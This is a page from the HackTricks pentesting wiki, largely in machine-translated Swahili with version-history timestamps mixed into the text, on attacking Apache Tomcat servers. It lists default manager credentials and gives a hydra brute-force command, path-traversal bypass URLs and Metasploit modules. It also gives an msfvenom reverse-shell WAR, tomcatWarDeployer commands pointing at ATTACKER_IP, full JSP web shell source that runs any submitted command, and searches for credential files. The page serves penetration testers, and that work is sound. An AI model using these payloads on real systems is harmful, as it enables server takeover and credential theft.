hacktricks/network-services-pentesting/pentesting-web/tomcat.md

248 lines
10 KiB
Markdown
Raw Normal View History

2022-07-31 22:37:48 +00:00
# Tomcat
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Discovery
* Inatumika kawaida kwenye **bandari 8080**
* **Kosa la kawaida la Tomcat:**
2022-04-28 16:01:33 +00:00
2022-10-05 21:51:12 +00:00
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
## Enumeration
### **Version Identification**
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Ili kupata toleo la Apache Tomcat, amri rahisi inaweza kutekelezwa:
2022-10-02 23:29:55 +00:00
```bash
2024-02-11 02:13:58 +00:00
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
2022-10-02 23:29:55 +00:00
```
Hii itatafuta neno "Tomcat" katika ukurasa wa index wa hati, ikifunua toleo katika lebo ya kichwa ya jibu la HTML.
### **Mahali pa Faili za Meneja**
Kutambua maeneo halisi ya **`/manager`** na **`/host-manager`** ni muhimu kwani majina yao yanaweza kubadilishwa. Tafutizi ya nguvu inashauriwa ili kupata kurasa hizi.
### **Uhesabuji wa Majina ya Watumiaji**
Kwa toleo za Tomcat zilizopita ya 6, inawezekana kuhesabu majina ya watumiaji kupitia:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Default Credentials**
Direktori **`/manager/html`** ni nyeti sana kwani inaruhusu kupakia na kupeleka faili za WAR, ambazo zinaweza kusababisha utekelezaji wa msimbo. Direktori hii inalindwa na uthibitishaji wa msingi wa HTTP, ambapo akidi za kawaida ni:
* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Akidi hizi zinaweza kupimwa kwa kutumia:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Mwelekeo mwingine muhimu ni **`/manager/status`**, ambayo inaonyesha toleo la Tomcat na OS, ikisaidia katika utambuzi wa udhaifu.
### **Shambulio la Nguvu Kiasi**
Ili kujaribu shambulio la nguvu kiasi kwenye mwelekeo wa meneja, mtu anaweza kutumia:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
Along with setting various parameters in Metasploit to target a specific host.
## Common Vulnerabilities
### **Password Backtrace Disclosure**
Kupata `/auth.jsp` kunaweza kufichua nenosiri katika backtrace chini ya hali nzuri.
### **Double URL Encoding**
Uthibitisho wa CVE-2007-1860 katika `mod_jk` unaruhusu upitaji wa njia wa double URL encoding, ukiruhusu ufikiaji usioidhinishwa wa kiolesura cha usimamizi kupitia URL iliyoundwa kwa njia maalum.
Ili kufikia wavuti ya usimamizi ya Tomcat nenda: `pathTomcat/%252E%252E/manager/html`
### /examples
Apache Tomcat toleo 4.x hadi 7.x linajumuisha mifano ya skripti ambazo zinaweza kuathiriwa na ufichuzi wa taarifa na mashambulizi ya cross-site scripting (XSS). Skripti hizi, zilizoorodheshwa kwa kina, zinapaswa kuangaliwa kwa ufikiaji usioidhinishwa na uwezekano wa kutumiwa vibaya. Pata [maelezo zaidi hapa](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
2021-03-24 12:52:26 +00:00
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Path Traversal Exploit**
2021-12-23 18:13:55 +00:00
Katika [**mipangilio yenye hatari ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji wa directories zilizolindwa katika Tomcat ukitumia njia: `/..;/`
2021-12-23 18:13:55 +00:00
Hivyo, kwa mfano, unaweza kuwa na uwezo wa **kufikia ukurasa wa usimamizi wa Tomcat** kwa kufikia: `www.vulnerable.com/lalala/..;/manager/html`
2021-12-23 18:13:55 +00:00
**Njia nyingine** ya kupita njia zilizolindwa kwa kutumia hila hii ni kufikia `http://www.vulnerable.com/;param=value/manager/html`
2024-02-08 21:36:15 +00:00
2022-07-31 22:37:48 +00:00
## RCE
Hatimaye, ikiwa una ufikiaji wa Tomcat Web Application Manager, unaweza **kupakia na kupeleka faili .war (tekeleza msimbo)**.
### Limitations
Utakuwa na uwezo wa kupeleka WAR tu ikiwa una **mamlaka ya kutosha** (majukumu: **admin**, **manager** na **manager-script**). Maelezo hayo yanaweza kupatikana chini ya _tomcat-users.xml_ ambayo kawaida huwekwa katika `/usr/share/tomcat9/etc/tomcat-users.xml` (inategemea toleo) (tazama [POST ](tomcat.md#post)section).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
2021-08-22 16:26:27 +00:00
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
2021-08-22 01:54:08 +00:00
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
2022-07-31 22:37:48 +00:00
### Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Reverse Shell
1. Tengeneza war ili kupeleka:
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2. Pakia faili ya `revshell.war` na upate ufikiaji kwake (`/revshell/`):
### Bind na reverse shell na [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
Katika hali zingine hii haifanyi kazi (kwa mfano toleo za zamani za sun)
2024-02-11 02:13:58 +00:00
#### Pakua
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Reverse shell
```bash
2021-08-29 13:51:49 +00:00
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Bind shell
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
2024-02-11 02:13:58 +00:00
### Kutumia [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Manual method - Web shell
Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
2024-02-11 02:13:58 +00:00
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
2024-02-11 02:13:58 +00:00
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
2022-10-02 23:29:55 +00:00
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
2022-10-02 23:29:55 +00:00
# Upload it
```
You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Manual Method 2
Pata JSP web shell kama [hii](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) na uunde faili la WAR:
2022-10-02 23:29:55 +00:00
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
2024-02-11 02:13:58 +00:00
zip -r backup.war cmd.jsp
2022-10-02 23:29:55 +00:00
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
2022-07-31 22:37:48 +00:00
## POST
Jina la faili la akreditif za Tomcat ni _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Njia nyingine za kukusanya akreditifiki za Tomcat:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Zana nyingine za skanning tomcat
2022-07-31 22:37:48 +00:00
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
2022-04-28 16:01:33 +00:00
## Marejeleo
2024-02-08 21:36:15 +00:00
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
{% hint style="success" %}
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}